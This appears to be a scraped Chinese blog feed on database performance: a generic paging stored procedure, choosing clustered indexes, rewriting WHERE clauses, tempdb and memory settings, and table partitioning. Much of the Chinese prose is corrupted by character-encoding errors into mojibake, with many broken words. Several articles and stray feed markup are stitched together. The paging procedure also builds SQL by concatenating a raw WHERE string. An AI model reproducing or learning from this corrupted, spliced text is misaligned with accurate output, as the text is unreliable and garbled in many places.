+ @fldName + "]) from (select top " + str((@PageIndex-1)*@PageSize) + " ["
+ @fldName + "] from [" + @tblName + "] where " + @strWhere + " "
+ @strOrder + ") as tblTmp) and " + @strWhere + " " + @strOrder
end 

end 

exec (@strSQL)

GO
  上面的这个存储过E是一个通用的存储过E,其注释已写在其中了?在大数据量的情况下,特别是在查询最后几?/p>

的时候,查询旉一般不会超q?U;而用其他存储q程Q在实践中就会导致超Ӟ所以这个存储过E非帔R用于大定w

数据库的查询?W者希望能够通过对以上存储过E的解析Q能l大家带来一定的启示Qƈl工作带来一定的效率提升Q?/p>

同时希望同行提出更优U的实时数据分늮法?/p>

聚集索引的重要性和如何选择聚集索引

  x我们讨论了实现小数据量和量数据的通用分页昄存储q程。这是因为在本存储q程应用于“办公自动化

”系l的实践中时Q笔者发现这W三U存储过E在数据量的情况下Q有如下现象Q?/p>

  1、分速度一般维持在1U和3U之间?/p>

  2、在查询最后一|Q速度一般ؓ5U至8U,哪怕分|L只有3|30万页?/p>

  虽然在超大容量情况下Q这个分늚实现q程是很快的Q但在分前几|Q这?Q?U的速度比vW一U甚x?/p>

l过优化的分|法速度q要慢,借用L话说是“还没有ACCESS数据库速度快”,q个认识以D用户攑ּ使用

您开发的pȝ?/p>

  W者就此分析了一下,原来产生q种现象的症l是如此的简单,但又如此的重要:排序的字D不是聚集烦引!

  本篇文章的题目是Q“查询优化及分页法Ҏ”。笔者只所以把“查询优化”和“分늮法”这两个联系不是?/p>

大的论题攑֜一P是因ؓ二者都需要一个非帔R要的东西――聚集烦引?/p>

  在前面的讨论中我们已l提CQ聚集烦引有两个最大的优势Q?/p>

  1、以最快的速度~小查询范围?/p>

  2、以最快的速度q行字段排序?/p>

  W?条多用在查询优化Ӟ而第2条多用在q行分页时的数据排序?/p>

  而聚集烦引在每个表内又只能徏立一个,q得聚集烦引显得更加的重要。聚集烦引的挑选可以说是实现“查询优

化”和“高效分”的最关键因素?br />  但要既聚集索引列既W合查询列的需要,又符合排序列的需要,q通常是一个矛盾。笔者前面“烦引”的讨论?/p>

Q将fariqiQ即用户发文日期作ؓ了聚集烦引的起始列,日期的精度为“日”。这U作法的优点Q前面已l提CQ?/p>

在进行划旉D늚快速查询中Q比用ID主键列有很大的优ѝ?br />  但在分页Ӟ׃q个聚集索引列存在着重复记录Q所以无法用max或min来最为分늚参照物,q而无法实现更

为高效的排序。而如果将ID主键列作集烦引,那么聚集索引除了用以排序之外Q没有Q何用处,实际上是费了聚

集烦引这个宝늚资源?br />  册个矛盾,W者后来又d了一个日期列Q其默认gؓgetdate()。用户在写入记录Ӟq个列自动写入当?/p>

的时_旉_到毫U。即使这PZ避免可能性很的重合Q还要在此列上创建UNIQUEU束。将此日期列作ؓ?/p>

集烦引列?br />  有了q个旉型聚集烦引列之后Q用户就既可以用q个列查扄户在插入数据时的某个旉D늚查询Q又可以作ؓ

唯一列来实现max或minQ成为分늮法的参照物?br />  l过q样的优化,W者发玎ͼ无论是大数据量的情况下还是小数据量的情况下,分页速度一般都是几十毫U,甚至0

毫秒。而用日期D늾范围的查询速度比原来也没有Mq钝。聚集烦引是如此的重要和珍贵Q所以笔者ȝ了一下,

一定要聚集烦引徏立在Q?/p>

1、您最频繁使用的、用以羃查询范围的字段上;

2、您最频繁使用的、需要排序的字段上?/p>

  l束?/p>

  本篇文章汇集了笔者近D在使用数据库方面的心得Q是在做“办公自动化”系l时实践l验的积累。希望这文?/p>

不仅能够l大家的工作带来一定的帮助Q也希望能让大家能够体会到分析问题的ҎQ最重要的是Q希望这文章能?/p>

抛砖引玉Q掀起大家的学习和讨论的兴趣Q以共同促进Q共同ؓ公安U技事业和金监ַE做己最大的努力?/p>

  最后需要说明的是,在试验中Q我发现用户在进行大数据量查询的时候,Ҏ据库速度影响最大的不是内存大小Q?/p>

而是CPU。在我的P4 2.4机器上试验的时候,查看“资源管理器”,CPUl常出现持箋?00%的现象,而内存用量却q没

有改变或者说没有大的改变。即使在我们的HP ML 350 G3服务器上试验ӞCPU峰g能达?0%Q一般持l在70%左右?/p>

  本文的试验数据都是来自我们的HP ML 350服务器。服务器配置Q双Inter Xeon 线E?CPU 2.4GQ内?GQ操作系

lWindows Server 2003 Enterprise EditionQ数据库SQL Server 2000 SP3



liaojiyong 2006-09-28 10:43 发表评论
]]>
索引 與性能--如何让你的SQLq行得更??http://www.aygfsteel.com/liaojiyong/archive/2006/09/27/72359.htmlliaojiyongliaojiyongWed, 27 Sep 2006 10:00:00 GMThttp://www.aygfsteel.com/liaojiyong/archive/2006/09/27/72359.htmlhttp://www.aygfsteel.com/liaojiyong/comments/72359.htmlhttp://www.aygfsteel.com/liaojiyong/archive/2006/09/27/72359.html#Feedback1http://www.aygfsteel.com/liaojiyong/comments/commentRss/72359.htmlhttp://www.aygfsteel.com/liaojiyong/services/trackbacks/72359.htmlZ在用SQL时往往会陷入一个误区,卛_x于所得的l果是否正确Q而忽?br />
了不同的实现Ҏ之间可能存在的性能差异Q这U性能差异在大型的或是复杂的数据库

环境中(如联Z务处理OLTP或决{支持系lDSSQ中表现得尤为明显。笔者在工作实践

中发玎ͼ不良的SQL往往来自于不恰当的烦引设计、不充䆾的连接条件和不可优化的whe

re子句。在对它们进行适当的优化后Q其q行速度有了明显地提高!下面我将从这三个

斚w分别q行ȝQ?br />
---- Z更直观地说明问题Q所有实例中的SQLq行旉均经q测试,不超q1U的?br />
表示为(< 1U)?br />
---- 试环境--

---- LQHP LH II

---- 主频Q?30MHZ

---- 内存Q?28?br />
---- 操作pȝQOperserver5.0.4

----数据库:Sybase11.0.3

一、不合理的烦引设?br />
----例:表record?20000行,试看在不同的索引下,下面几个 SQL的运行情况:

---- 1.在date上徏有一非个集索引

select count(*) from record where date >

'19991201' and date < '19991214'and amount >

2000 (25U?

select date,sum(amount) from record group by date

(55U?

select count(*) from record where date >

'19990901' and place in ('BJ','SH') (27U?

---- 分析Q?br />
----date上有大量的重复|在非集索引下,数据在物理上随机存放在数据页上,?br />
范围查找Ӟ必须执行一ơ表扫描才能扑ֈq一范围内的全部行?br />
---- 2.在date上的一个群集烦?br />
select count(*) from record where date >

'19991201' and date < '19991214' and amount >

2000 Q?4U)

select date,sum(amount) from record group by date

Q?8U)

select count(*) from record where date >

'19990901' and place in ('BJ','SH')Q?4U)

---- 分析Q?br />
---- 在群集烦引下Q数据在物理上按序在数据页上,重复g排列在一P因而在?br />
围查找时Q可以先扑ֈq个范围的v末点Q且只在q个范围内扫描数据页Q避免了大范

围扫描,提高了查询速度?br />
---- 3.在placeQdateQamount上的l合索引

select count(*) from record where date >

'19991201' and date < '19991214' and amount >

2000 Q?6U)

select date,sum(amount) from record group by date

Q?7U)

select count(*) from record where date >

'19990901' and place in ('BJ', 'SH')Q?lt; 1U)

---- 分析Q?br />
---- q是一个不很合理的l合索引Q因为它的前导列是placeQ第一和第二条SQL没有?br />
用placeQ因此也没有利用上烦引;W三个SQL使用了placeQ且引用的所有列都包含在l?br />
合烦引中QŞ成了索引覆盖Q所以它的速度是非常快的?br />
---- 4.在dateQplaceQamount上的l合索引

select count(*) from record where date >

'19991201' and date < '19991214' and amount >

2000(< 1U?

select date,sum(amount) from record group by date

Q?1U)

select count(*) from record where date >

'19990901' and place in ('BJ','SH')Q?lt; 1U)

---- 分析Q?br />
---- q是一个合理的l合索引。它date作ؓ前导列,使每个SQL都可以利用烦引,q?br />
且在W一和第三个SQL中Ş成了索引覆盖Q因而性能辑ֈ了最优?br />
---- 5.ȝQ?br />
---- ~省情况下徏立的索引是非集索引Q但有时它ƈ不是最佳的Q合理的索引设计?br />
建立在对各种查询的分析和预测上。一般来_

---- ?有大量重复倹{且l常有范围查?br />
Qbetween, >,< Q?gt;=,< =Q和order by

、group by发生的列Q可考虑建立集索引Q?br />
---- ?l常同时存取多列Q且每列都含有重复值可考虑建立l合索引Q?br />
---- ?l合索引要尽量关键查询形成索引覆盖Q其前导列一定是使用最频繁的列?br />


二、不充䆾的连接条Ӟ

---- 例:表card?896行,在card_no上有一个非聚集索引Q表account?91122行,?br />
account_no上有一个非聚集索引Q试看在不同的表q接条g下,两个SQL的执行情况:



select sum(a.amount) from account a,

card b where a.card_no = b.card_noQ?0U)

---- SQL改ؓQ?br />
select sum(a.amount) from account a,

card b where a.card_no = b.card_no and a.

account_no=b.account_noQ?lt; 1U)

---- 分析Q?br />
---- 在第一个连接条件下Q最x询方案是account作外层表Qcard作内层表Q利?br />
card上的索引Q其I/Oơ数可由以下公式估算为:

---- 外层表account上的22541?Q外层表account?91122?内层表card上对应外?br />
表第一行所要查扄3)=595907ơI/O

---- 在第二个q接条g下,最x询方案是card作外层表Qaccount作内层表Q利?br />
account上的索引Q其I/Oơ数可由以下公式估算为:

---- 外层表card上的1944?Q外层表card?896?内层表account上对应外层表每一

行所要查扄4)= 33528ơI/O

---- 可见Q只有充份的q接条gQ真正的最x案才会被执行?br />
---- ȝQ?br />
---- 1.多表操作在被实际执行前,查询优化器会Ҏq接条gQ列出几l可能的q接?br />
案ƈ从中扑ևpȝ开销最的最x案。连接条件要充䆾考虑带有索引的表、行数多?br />
表;内外表的选择可由公式Q外层表中的匚w行数*内层表中每一ơ查扄ơ数定Q乘

U最ؓ最x案?br />
---- 2.查看执行Ҏ的方?- 用set showplanonQ打开showplan选项Q就可以看到q?br />
接顺序、用何U烦引的信息Q想看更详细的信息,需用sa角色执行dbcc(3604,310,30

2)?br />
三、不可优化的where子句

---- 1.例:下列SQL条g语句中的列都建有恰当的烦引,但执行速度却非常慢Q?br />
select * from record where

substring(card_no,1,4)='5378'(13U?

select * from record where

amount/30< 1000Q?1U)

select * from record where

convert(char(10),date,112)='19991201'Q?0U)

---- 分析Q?br />
---- where子句中对列的M操作l果都是在SQLq行旉列计算得到的,因此它不得不

q行表搜索,而没有用该列上面的索引Q如果这些结果在查询~译时就能得刎ͼ那么

可以被SQL优化器优化,使用索引Q避免表搜烦Q因此将SQL重写成下面这P

select * from record where card_no like

'5378%'Q?lt; 1U)

select * from record where amount

< 1000*30Q?lt; 1U)

select * from record where date= '1999/12/01'

Q?lt; 1U)

---- 你会发现SQL明显快v来!

---- 2.例:表stuff?00000行,id_no上有非群集烦引,L下面q个SQLQ?br />
select count(*) from stuff where id_no in('0','1')

Q?3U)

---- 分析Q?br />
---- where条g中的'in'在逻辑上相当于'or'Q所以语法分析器会将in ('0','1')转化

为id_no ='0' or id_no='1'来执行。我们期望它会根据每个or子句分别查找Q再结?br />
相加Q这样可以利用id_no上的索引Q但实际上(ҎshowplanQ?它却采用?OR{略"

Q即先取出满x个or子句的行Q存入时数据库的工作表中,再徏立唯一索引以去?br />
重复行,最后从q个临时表中计算l果。因此,实际q程没有利用id_no上烦引,q且?br />
成时间还要受tempdb数据库性能的媄响?br />
---- 实践证明Q表的行数越多,工作表的性能p差,当stuff?20000行时Q执行时

间竟辑ֈ220U!q不如将or子句分开Q?br />
select count(*) from stuff where id_no='0'

select count(*) from stuff where id_no='1'

---- 得到两个l果Q再作一ơ加法合。因为每句都使用了烦引,执行旉只有3U,

?20000行下Q时间也只有4U。或者,用更好的ҎQ写一个简单的存储q程Q?br />
create proc count_stuff as

declare @a int

declare @b int

declare @c int

declare @d char(10)

begin

select @a=count(*) from stuff where id_no='0'

select @b=count(*) from stuff where id_no='1'

end

select @c=@a+@b

select @d=convert(char(10),@c)

print @d

---- 直接出l果Q执行时间同上面一样快Q?br />
---- ȝQ?br />
---- 可见Q所谓优化即where子句利用了烦引,不可优化卛_生了表扫描或额外开销?br />


---- 1.M对列的操作都导致表扫描Q它包括数据库函数、计表辑ּ{等Q查询时

要尽可能操作移至等号右辏V?br />
---- 2.in、or子句怼使用工作表,使烦引失效;如果不生大量重复|可以考虑?br />
子句拆开Q拆开的子句中应该包含索引?br />
---- 3.要善于用存储过E,它SQL变得更加灉|和高效?br />
---- 从以上这些例子可以看出,SQL优化的实质就是在l果正确的前提下Q用优化器可

以识别的语句Q充份利用烦引,减少表扫描的I/Oơ数Q尽量避免表搜烦的发生。其实S

QL的性能优化是一个复杂的q程Q上q这些只是在应用层次的一U体玎ͼ深入研究q会

涉及数据库层的资源配|、网l层的流量控制以及操作系l层的M设计?br />






1Q合理用烦?

索引是数据库中重要的数据l构Q它的根本目的就是ؓ了提高查询效率。现在大多数的数据库产品都采用IBM最先提出的ISAM索引l构。烦引的使用要恰到好处,其用原则如下:

●在l常q行q接Q但是没有指定ؓ外键的列上徏立烦引,而不l常q接的字D则׃化器自动生成索引?

●在频繁q行排序或分l(卌行group by或order by操作Q的列上建立索引?

●在条g表达式中l常用到的不同D多的列上建立索,在不同值少的列上不要徏立烦引。比如在雇员表的“性别”列上只有“男”与“女”两个不同|因此无必要建立索引。如果徏立烦引不但不会提高查询效率,反而会严重降低更新速度?

●如果待排序的列有多个,可以在这些列上徏立复合烦引(compound indexQ?

●用系l工兗如Informix数据库有一个tbcheck工具Q可以在可疑的烦引上q行查。在一些数据库服务器上Q烦引可能失效或者因为频J操作而得读取效率降低,如果一个用烦引的查询不明不白地慢下来Q可以试着用tbcheck工具查烦引的完整性,必要时进行修复。另外,当数据库表更新大量数据后Q删除ƈ重徏索引可以提高查询速度?



2Q避免或化排?

应当化或避免对大型表q行重复的排序。当能够利用索引自动以适当的次序生输出时Q优化器避免了排序的步骤。以下是一些媄响因素:

●烦引中不包括一个或几个待排序的列;

●group by或order by子句中列的次序与索引的次序不一P

●排序的列来自不同的表?

Z避免不必要的排序Q就要正地增徏索引Q合理地合ƈ数据库表Q尽有时可能媄响表的规范化Q但相对于效率的提高是值得的)。如果排序不可避免,那么应当试图化它Q如~小排序的列的范围等?



3Q消除对大型表行数据的顺序存?

在嵌套查询中Q对表的序存取Ҏ询效率可能生致命的影响。比如采用顺序存取策略,一个嵌?层的查询Q如果每层都查询1000行,那么q个查询p查询10亿行数据。避免这U情늚主要Ҏ是对连接的列进行烦引。例如,两个表:学生表(学号、姓名、年龄……)和选课表(学号、课E号、成l)。如果两个表要做q接Q就要在“学号”这个连接字D上建立索引?

q可以用ƈ集来避免序存取。尽在所有的查列上都有烦引,但某些Ş式的where子句优化器用顺序存取。下面的查询强q对orders表执行顺序操作:

SELECT Q?FROM orders WHERE (customer_num=104 AND order_num>1001) OR order_num=1008

虽然在customer_num和order_num上徏有烦引,但是在上面的语句中优化器q是使用序存取路径扫描整个表。因个语句要索的是分ȝ行的集合Q所以应该改为如下语句:

SELECT Q?FROM orders WHERE customer_num=104 AND order_num>1001

UNION

SELECT Q?FROM orders WHERE order_num=1008

q样p利用索引路径处理查询?



4Q避免相兛_查询

一个列的标{֐时在L询和where子句中的查询中出玎ͼ那么很可能当L询中的列值改变之后,子查询必重新查询一ơ。查询嵌套层ơ越多,效率低Q因此应当尽量避免子查询。如果子查询不可避免Q那么要在子查询中过滤掉可能多的行?



5Q避免困隄正规表达?

MATCHES和LIKE关键字支持通配W匹配,技术上叫正规表辑ּ。但q种匚w特别耗费旉。例如:SELECT Q?FROM customer WHERE zipcode LIKE ?8_ _ _?

即在zipcode字段上徏立了索引Q在q种情况下也q是采用序扫描的方式。如果把语句改ؓSELECT Q?FROM customer WHERE zipcode >?8000”,在执行查询时׃利用索引来查询,昄会大大提高速度?

另外Q还要避免非开始的子串。例如语句:SELECT Q?FROM customer WHERE zipcode[2Q?] >?0”,在where子句中采用了非开始子Ԍ因而这个语句也不会使用索引?br />


6Q用时表加速查?

把表的一个子集进行排序ƈ创徏临时表,有时能加速查询。它有助于避免多重排序操作,而且在其他方面还能简化优化器的工作。例如:

SELECT cust.nameQrcvbles.balanceQ……other columns

FROM custQrcvbles

WHERE cust.customer_id = rcvlbes.customer_id

AND rcvblls.balance>0

AND cust.postcode>?8000?

ORDER BY cust.name

如果q个查询要被执行多次而不止一ơ,可以把所有未付款的客h出来攑֜一个时文件中Qƈ按客L名字q行排序Q?

SELECT cust.nameQrcvbles.balanceQ……other columns

FROM custQrcvbles

WHERE cust.customer_id = rcvlbes.customer_id

AND rcvblls.balance>0

ORDER BY cust.name

INTO TEMP cust_with_balance

然后以下面的方式在时表中查询:

SELECT Q?FROM cust_with_balance

WHERE postcode>?8000?

临时表中的行要比主表中的行少Q而且物理序是所要求的顺序,减少了磁盘I/OQ所以查询工作量可以得到大幅减少?

注意Q时表创徏后不会反映主表的修改。在主表中数据频J修改的情况下,注意不要丢失数据?



7Q用排序来取代非序存取

非顺序磁盘存取是最慢的操作Q表现在盘存取臂的来回Ud。SQL语句隐藏了这一情况Q得我们在写应用程序时很容易写求存取大量非序늚查询?

有些时候,用数据库的排序能力来替代非顺序的存取能改q查询?









3.优化 tempdb 性能





?tempdb 数据库的物理位置和数据库选项讄的一般徏议包括:

?tempdb 数据库得以按需自动扩展。这保在执行完成前不终止查询,该查询所生成的存储在 tempdb 数据库内的中间结果集比预期大得多?br />


?tempdb 数据库文件的初始大小讄为合理的大小Q以避免当需要更多空间时文g自动扩展。如?tempdb 数据库扩展得q于频繁Q性能会受不良影响?br />


文件增长增量百分比讄为合理的大小Q以避免 tempdb 数据库文件按太小的值增ѝ如果文件增长幅度与写入 tempdb 数据库的数据量相比太,?tempdb 数据库可能需要始l扩展,因而将妨害性能?br />


?tempdb 数据库放在快?I/O 子系l上以确保好的性能。在多个盘上条带化 tempdb 数据库以获得更好的性能。将 tempdb 数据库放在除用户数据库所使用的磁盘之外的盘上。有x多信息,请参见扩充数据库?br />






4.优化服务?



使用内存配置选项优化服务器性能

Microsoft&reg; SQL Server&#8482; 2000 的内存管理组件消除了?SQL Server 可用的内存进行手工管理的需要。SQL Server 在启动时Ҏ操作pȝ和其它应用程序当前正在用的内存量,动态确定应分配的内存量。当计算机和SQL Server 上的负荷更改Ӟ分配的内存也随之更改。有x多信息,请参见内存构架?br />


下列服务器配|选项可用于配|内存用ƈ影响服务器性能Q?

min server memory

max server memory

max worker threads

index create memory



min memory per query

min server memory 服务器配|选项可用于确?SQL Server 在达到该值后不会释放内存。可以基?SQL Server 的大及zd该配置选项讄为特定的倹{如果选择讄此选项Q必Mؓ操作pȝ和其他程序留够的内存。如果操作系l没有够的内存Q会?SQL Server h内存Q从而导致媄?SQL Server 性能?br />


max server memory 服务器配|选项可用于:?SQL Server 启动及运行时Q指?SQL Server 可以分配的最大内存量。如果知道有多个应用E序?SQL Server 同时q行Q而且想保障这些应用程序有_的内存运行,可以该配置选项讄为特定的倹{如果这些其它应用程序(?Web 服务器或电子邮g服务器)只根据需要请求内存,?SQL Server 根据需要给它们释放内存Q因此不要设|?max server memory 服务器配|选项。然而,应用E序通常在启动时不假选择C用可用内存,而如果需要更多内存也不请求。如果有q种行ؓ方式的应用程序与 SQL Server 同时q行在相同的计算ZQ则?max server memory 服务器配|选项讄为特定的|以保障应用程序所需的内存不?SQL Server 分配出?br />
不要?min server memory ?max server memory 服务器配|选项讄为相同的|q样做会使分配给 SQL Server 的内存量固定。动态内存分配可以随旉提供最佳的M性能。有x多信息,请参见服务器内存选项?br />


max worker threads 服务器配|选项可用于指定ؓ用户q接?SQL Server 提供支持的线E数?55 q一默认讄对一些配|可能稍微偏高,q要具体取决于ƈ发用h。由于每个工作线E都已分配,因此即ɾU程没有正在使用Q因为ƈ发连接比分配的工作线E少Q,可由其它操作Q如高速缓冲存储器Q更好地利用的内存资源也可能是未使用的。一般情况下Q应该配置D|ؓq发q接敎ͼ但不能超q?32727。ƈ发连接与用户dq接不同。SQL Server 实例的工作线E池只需要够大Q以便ؓ同时正在该实例中执行批处理的用户q接提供服务。如果增加工作线E的数量过默认|会降低服务器性能。有x多信息,请参见max worker threads 选项?br />
说明 ?SQL Server q行?Microsoft Windows&reg; 98 上时Q最大工作线E服务器配置选项不v作用?br />


index create memory 服务器配|选项控制创徏索引时排序操作所使用的内存量。在生pȝ上创建烦引通常是不常执行的dQ通常调度为在非峰值时间执行的作业。因此,不常创徏索引且在非峰值时间时Q增加该值可提高索引创徏的性能。不q,最好将 min memory per query 配置选项保持在一个较低的|q样即所有请求的内存都不可用Q烦引创Z业仍能开始。有x多信息,请参?index create memory 选项?br />
min memory per query 服务器配|选项可用于指定分配给查询执行的最内存量。当pȝ内有许多查询q发执行Ӟ增大 min memory per query 的值有助于提高消耗大量内存的查询Q如大型排序和哈希操作)的性能。不q,不要?min memory per query 服务器配|选项讄得太高,其是在很忙的系l上Q因为查询将不得不等到能保占有h的最内存、或{到过 query wait 服务器配|选项内所指定的倹{如果可用内存比执行查询所需的指定最内存多Q则只要查询能对多出的内存加以有效的利用Q就可以使用多出的内存。有x多信息,请参?min memory per query 选项?query wait 选项?br />


使用 I/O 配置选项优化服务器性能

下列服务器配|选项可用于配|?I/O 的用ƈ影响服务器性能Q?



recovery interval

recovery interval 服务器配|选项控制 Microsoft&reg; SQL Server&#8482; 2000 在每个数据库内发出检查点的时间。默认情况下QSQL Server 定执行查点操作的最x间。然而,若要定q是否ؓ适当的设|,需要?Windows NT 性能监视器监视数据库文g上的盘写入zd。导致磁盘利用率辑ֈ 100% 的活动尖峰g妨害性能。若更改该参C使检查点q程较少出现Q通常可以提高q种情况下的M性能。但仍须l箋监视性能以确定新值是否已Ҏ能产生正面影响。有x多信息,请参见recovery interval 选项?br />








5.优化数据库文?br />


分区

数据库分区可提高其性能q易于维护。通过一个大表拆分成更小的单个表Q只讉K一部分数据的查询可以执行得更快,因ؓ需要扫描的数据较少。而且可以更快地执行维护Q务(如重建烦引或备䆾表)?br />


实现分区操作时可以不拆分表,而将表物理地攄在个别的盘驱动器上。例如,表攑֜某个物理驱动器上q将相关的表攑֜与之分离的驱动器上可提高查询性能Q因为当执行涉及表之间联接的查询Ӟ多个头同时d数据。可以?Microsoft&reg; SQL Server&#8482; 2000 文gl指定将表放|在哪些盘上?br />


g分区

g分区数据库设计为利用可用的g构架。硬件分区的CZ包括Q?



允许多线E执行的多处理器Q得可以同时执行许多查询。换句话_在多处理器上可以同时执行查询的各个组Ӟ因此使单个查询的速度更快。例如,查询内引用的每个表可同时׃同的U程扫描?br />




RAIDQ独立磁盘冗余阵列)讑֤允许数据在多个磁盘驱动器中条带化Q更多的读/写磁头同时读取数据,因此可以更快地访问数据。在多个驱动器中条带化的表一般比存储在一个驱动器上的相同的表扫描速度要快。换句话_表与相关的表分开存储在不同的驱动器上可以显著提高联接那些表的查询的性能?

水^分区

水^分区一个表分段为多个表Q每个表包含相同数目的列和较的行。例如,可以一个包含十亿行的表水^分区?12 个表Q每个小表代表特定年份内一个月的数据。Q何需要特定月份数据的查询只引用相应月份的表?br />


具体如何表q行水^分区取决于如何分析数据。将表进行分区是Z使查询引用尽可能的表。否则,查询旉使用q多?UNION 查询来逻辑合ƈ表,而这会削弱查询性能。有x询水q_区的表的更多信息Q请参见视图使用Ҏ?



常用的方法是Ҏ时期/使用Ҏ据进行水q_区。例如,一个表可能包含最q五q的数据Q但是只定期讉K本年度的数据。在q种情况下,可考虑数据分区成五个表,每个表只包含一q的数据?br />


垂直分区

垂直分区一个表分段为多个表Q每个表包含较少的列。垂直分区的两种cd是规范化和行拆分?br />


规范化是个标准数据库q程Q该q程从表中删除冗余列q将其放到次表中Q次表按主键与外键的关系链接C表?br />


行拆分将原始表垂直分成多个只包含较少列的表。拆分的表内的每个逻辑行与其它表内的相同逻辑行匹配。例如,联接每个拆分的表内的W十行将重新创徏原始行?br />


与水q_ZP垂直分区使查询得以扫描较的数据Q因此提高查询性能。例如有一个包含七列的表,通常只引用该表的前四列,那么该表的后三列拆分到一个单独的表中可获得性能收益?br />


应}慎考虑垂直分区操作Q因为分析多个分区内的数据需要有联接表的查询Q而如果分区非常大可能媄响性能?br />


Q一Q深入浅出理解烦引结?br />


实际上,您可以把索引理解ZU特D的目录。微软的SQL SERVER提供了两U烦引:聚集索引Qclustered indexQ也U聚cȝ引、簇集烦引)和非聚集索引Qnonclustered indexQ也U非聚类索引、非集索引Q。下面,我们举例来说明一下聚集烦引和非聚集烦引的区别Q?br />


其实Q我们的汉语字典的正文本w就是一个聚集烦引。比如,我们要查“安”字Q就会很自然地翻开字典的前几页Q因为“安”的拼音是“an”,而按照拼x序汉字的字典是以英文字母“a”开头ƈ以“z”结Q那么“安”字p然地排在字典的前部。如果您d了所有以“a”开头的部分仍然找不到这个字Q那么就说明您的字典中没有这个字Q同LQ如果查“张”字Q那您也会将您的字典d最后部分,因ؓ“张”的拼音是“zhang”。也是_字典的正文部分本w就是一个目录,您不需要再L其他目录来找到您需要找的内宏V?br />


我们把这U正文内Ҏw就是一U按照一定规则排列的目录UCؓ“聚集烦引”?br />


如果您认识某个字Q您可以快速地从自动中查到q个字。但您也可能会遇到您不认识的字,不知道它的发韻Iq时候,您就不能按照刚才的方法找到您要查的字Q而需要去Ҏ“偏旁部首”查到您要找的字Q然后根据这个字后的늠直接d某页来找到您要找的字。但您结合“部首目录”和“检字表”而查到的字的排序q不是真正的正文的排序方法,比如您查“张”字Q我们可以看到在查部首之后的字表中“张”的늠?72,字表中“张”的上面是“驰”字Q但늠却是63,“张”的下面是“徃”字Q页面是390c很昄Q这些字q不是真正的分别位于“张”字的上下方Q现在您看到的连l的“驰、张、徃”三字实际上是他们在非聚集索引中的排序Q是字典正文中的字在非聚集烦引中的映。我们可以通过q种方式来找到您所需要的字,但它需要两个过E,先找到目录中的结果,然后再翻到您所需要的늠?br />


我们把这U目录纯_Ҏ目录Q正文纯_Ҏ正文的排序方式称为“非聚集索引”?br />


通过以上例子Q我们可以理解到什么是“聚集烦引”和“非聚集索引”?br />


q一步引申一下,我们可以很容易的理解Q每个表只能有一个聚集烦引,因ؓ目录只能按照一U方法进行排序?br />


Q二Q何时用聚集烦引或非聚集烦?br />


下面的表ȝ了何时用聚集烦引或非聚集烦引(很重要)?br />


动作描述

使用聚集索引

使用非聚集烦?br />


列经常被分组排序

?br />
?br />


q回某范围内的数?br />
?br />
不应



一个或极少不同?br />
不应

不应



数目的不同?br />
?br />
不应



大数目的不同?br />
不应

?br />


频繁更新的列

不应

?br />


外键?br />
?br />
?br />


主键?br />
?br />
?br />


频繁修改索引?br />
不应

?br />




事实上,我们可以通过前面聚集索引和非聚集索引的定义的例子来理解上表。如Q返回某范围内的数据一V比如您的某个表有一个时间列Q恰好您把聚合烦引徏立在了该列,q时您查?004q??日至2004q?0?日之间的全部数据Ӟq个速度将是很快的Q因为您的这本字典正文是按日期进行排序的Q聚cȝ引只需要找到要索的所有数据中的开头和l尾数据卛_Q而不像非聚集索引Q必d查到目录中查到每一Ҏ据对应的늠Q然后再Ҏ늠查到具体内容?br />


Q三Q结合实际,谈烦引用的误区



理论的目的是应用。虽然我们刚才列Z何时应用聚集烦引或非聚集烦引,但在实践中以上规则却很容易被忽视或不能根据实际情况进行综合分析。下面我们将Ҏ在实践中遇到的实际问题来谈一下烦引用的误区Q以便于大家掌握索引建立的方法?br />


1、主键就是聚集烦?br />


q种xW者认为是极端错误的,是对聚集索引的一U浪贏V虽然SQL SERVER默认是在主键上徏立聚集烦引的?br />


通常Q我们会在每个表中都建立一个ID列,以区分每条数据,q且q个ID列是自动增大的,步长一般ؓ1。我们的q个办公自动化的实例中的列Gid是如此。此Ӟ如果我们这个列设ؓ主键QSQL SERVER会将此列默认集烦引。这样做有好处,是可以让您的数据在数据库中按照IDq行物理排序Q但W者认样做意义不大?br />


显而易见,聚集索引的优势是很明昄Q而每个表中只能有一个聚集烦引的规则Q这使得聚集索引变得更加珍贵?br />


从我们前面谈到的聚集索引的定义我们可以看出,使用聚集索引的最大好处就是能够根据查询要求,q速羃查询范_避免全表扫描。在实际应用中,因ؓIDh自动生成的,我们q不知道每条记录的IDP所以我们很隑֜实践中用IDhq行查询。这׃让ID可个主键作集烦引成ZU资源浪贏V其ơ,让每个ID号都不同的字D作集烦引也不符合“大数目的不同值情况下不应建立聚合索引”规则;当然Q这U情况只是针对用L怿改记录内容,特别是烦引项的时候会负作用,但对于查询速度q没有媄响?br />


在办公自动化pȝ中,无论是系l首|C的需要用L收的文g、会议还是用戯行文件查询等M情况下进行数据查询都M开字段的是“日期”还有用hw的“用户名”?br />


通常Q办公自动化的首会昄每个用户未{收的文件或会议。虽然我们的where语句可以仅仅限制当前用户未{收的情况,但如果您的系l已建立了很长时_q且数据量很大,那么Q每ơ每个用h开首页的时候都q行一ơ全表扫描,q样做意义是不大的,l大多数的用?个月前的文g都已l浏览过了,q样做只能徒增数据库的开销而已。事实上Q我们完全可以让用户打开pȝ首页Ӟ数据库仅仅查询这个用戯3个月来未阅览的文Ӟ通过“日期”这个字D|限制表扫描,提高查询速度。如果您的办公自动化pȝ已经建立?q_那么您的首页昄速度理论上将是原来速度8倍,甚至更快?br />


在这里之所以提到“理Z”三字,是因为如果您的聚集烦引还是盲目地建在IDq个主键上时Q您的查询速度是没有这么高的,即您在“日期”这个字D上建立的烦引(非聚合烦引)。下面我们就来看一下在1000万条数据量的情况下各U查询的速度表现Q?个月内的数据?5万条Q:



Q?Q仅在主键上建立聚集索引Qƈ且不划分旉D:



Select gid,fariqi,neibuyonghu,title from tgongwen



用时Q?28470毫秒Q即Q?28U)



Q?Q在主键上徏立聚集烦引,在fariq上徏立非聚集索引Q?br />


select gid,fariqi,neibuyonghu,title from Tgongwen



where fariqi> dateadd(day,-90,getdate())



用时Q?3763毫秒Q?4U)



Q?Q将聚合索引建立在日期列QfariqiQ上Q?br />


select gid,fariqi,neibuyonghu,title from Tgongwen



where fariqi> dateadd(day,-90,getdate())



用时Q?423毫秒Q?U)



虽然每条语句提取出来的都?5万条数据Q各U情늚差异却是巨大的,特别是将聚集索引建立在日期列时的差异。事实上Q如果您的数据库真的?000万容量的话,把主键徏立在ID列上Q就像以上的W??U情况,在网上的表现就是超ӞҎ无法显C。这也是我摒弃ID列作集烦引的一个最重要的因素?br />


